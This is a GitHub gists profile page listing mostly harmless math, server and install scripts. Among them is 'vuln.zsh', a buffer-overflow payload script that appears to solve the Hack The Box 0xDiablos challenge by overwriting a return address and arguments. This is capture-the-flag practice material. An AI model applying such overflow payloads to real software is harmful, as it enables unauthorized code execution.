Skip to content

Instantly share code, notes, and snippets.

View originalsouth's full-sized avatar

originalsouth

View GitHub Profile
@originalsouth
originalsouth / collatz.svg
Created June 27, 2025 07:56
Collatz graph svg rendering
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@originalsouth
originalsouth / belphegor.jl
Last active February 2, 2025 19:55
Yet another belphegor's prime script
#!/usr/bin/env julia
using DataStructures
using Primes
using Statistics
belphegor(x::Integer) = parse(BigInt,(z -> "1$(z)666$(z)1")("0"^x))
buf = CircularBuffer{Float64}(100)
@originalsouth
originalsouth / e.jl
Created January 27, 2025 17:53
Calculate e by drawing random numbers
#!/usr/bin/env julia
using Random
function play()
r=0.0
counter=0.0
while r<1.0
r+=rand(Float64)
counter+=1.0
@originalsouth
originalsouth / potato-server.py
Last active August 8, 2024 08:29
Serve a generated JSON on any request
#!/usr/bin/env python
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
class PotatoServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "application/json")
self.end_headers()
@originalsouth
originalsouth / install_openkat_python.zsh
Last active March 5, 2024 08:03
Install OpenKAT Python
#!/usr/bin/env zsh
DIR=${0:a:h}
PREFIX="nl-kat-coordination"
[ -d "$DIR/python" ] && rm -rf "$DIR/python"
python -m venv "$DIR/python"
source $DIR/python/bin/activate
@originalsouth
originalsouth / tanakh.txt
Last active March 2, 2023 13:41
Tanakh: all 929 chapters
This file has been truncated, but you can view the full file.
בְּרֵאשִׁ֖ית בָּרָ֣א אֱלֹהִ֑ים אֵ֥ת הַשָּׁמַ֖יִם וְאֵ֥ת הָאָֽרֶץ׃וְהָאָ֗רֶץ הָיְתָ֥ה תֹ֙הוּ֙ וָבֹ֔הוּ וְחֹ֖שֶׁךְ עַל־פְּנֵ֣י תְה֑וֹם וְר֣וּחַ אֱלֹהִ֔ים מְרַחֶ֖פֶת עַל־פְּנֵ֥י הַמָּֽיִם׃וַיֹּ֥אמֶר אֱלֹהִ֖ים יְהִ֣י א֑וֹר וַֽיְהִי־אֽוֹר׃וַיַּ֧רְא אֱלֹהִ֛ים אֶת־הָא֖וֹר כִּי־ט֑וֹב וַיַּבְדֵּ֣ל אֱלֹהִ֔ים בֵּ֥ין הָא֖וֹר וּבֵ֥ין הַחֹֽשֶׁךְ׃וַיִּקְרָ֨א אֱלֹהִ֤ים ׀ לָאוֹר֙ י֔וֹם וְלַחֹ֖שֶׁךְ קָ֣רָא לָ֑יְלָה וַֽיְהִי־עֶ֥רֶב וַֽיְהִי־בֹ֖קֶר י֥וֹם אֶחָֽד׃
וַיֹּ֣אמֶר אֱלֹהִ֔ים יְהִ֥י רָקִ֖יעַ בְּת֣וֹךְ הַמָּ֑יִם וִיהִ֣י מַבְדִּ֔יל בֵּ֥ין מַ֖יִם לָמָֽיִם׃וַיַּ֣עַשׂ אֱלֹהִים֮ אֶת־הָרָקִיעַ֒ וַיַּבְדֵּ֗ל בֵּ֤ין הַמַּ֙יִם֙ אֲשֶׁר֙ מִתַּ֣חַת לָרָקִ֔יעַ וּבֵ֣ין הַמַּ֔יִם אֲשֶׁ֖ר מֵעַ֣ל לָרָקִ֑יעַ וַֽיְהִי־כֵֽן׃וַיִּקְרָ֧א אֱלֹהִ֛ים לָֽרָקִ֖יעַ שָׁמָ֑יִם וַֽיְהִי־עֶ֥רֶב וַֽיְהִי־בֹ֖קֶר י֥וֹם שֵׁנִֽי׃
@originalsouth
originalsouth / vuln.zsh
Created May 3, 2020 20:02
You know 0xDiablos
#!/usr/bin/env zsh
[[ -z $DEBUG ]] || set -x
TARGET=./vuln
BUFF=$(printf 'x%.0s' {1..188})
FUNC=$(printf '\xE2\x91\x04\x08')
VAR1=$(printf '\xEF\xBE\xAD\xDE')
VAR2=$(printf '\x0D\xD0\xDE\xC0')
PADD=$(printf '\xFF%.0s' {1..4})
PAYLOAD=$(printf '%s%s%s%s%s%s' $BUFF $FUNC $PADD $VAR1 $VAR2)
[[ -z $DEBUG ]] || echo -n "$PAYLOAD" | xxd
@originalsouth
originalsouth / htbi.zsh
Created May 3, 2020 20:00
Hack The Box Invitation
#!/usr/bin/env zsh
echo $(curl --request POST https://www.hackthebox.eu/api/invite/generate 2>/dev/null | cut -d\" -f8 | base64 -d)
exit 0
@originalsouth
originalsouth / xor-potato
Created March 22, 2020 17:37
xor a potato
use std::io::prelude::*;
use std::fs::File;
fn main() {
let mut f = File::open("./potato").unwrap();
let mut inbuffer = Vec::new();
// read the whole file
f.read_to_end(&mut inbuffer);
@originalsouth
originalsouth / belphegor.zsh
Last active November 9, 2019 09:31
Enumerate a number of Belphegor numbers
#!/usr/bin/env zsh
zmodload zsh/mathfunc
MAX=5
DEVIL=666
if [ ! -z "$1" ]
then
MAX=$((abs($1)))
fi
if [ ! -z "$2" ]
then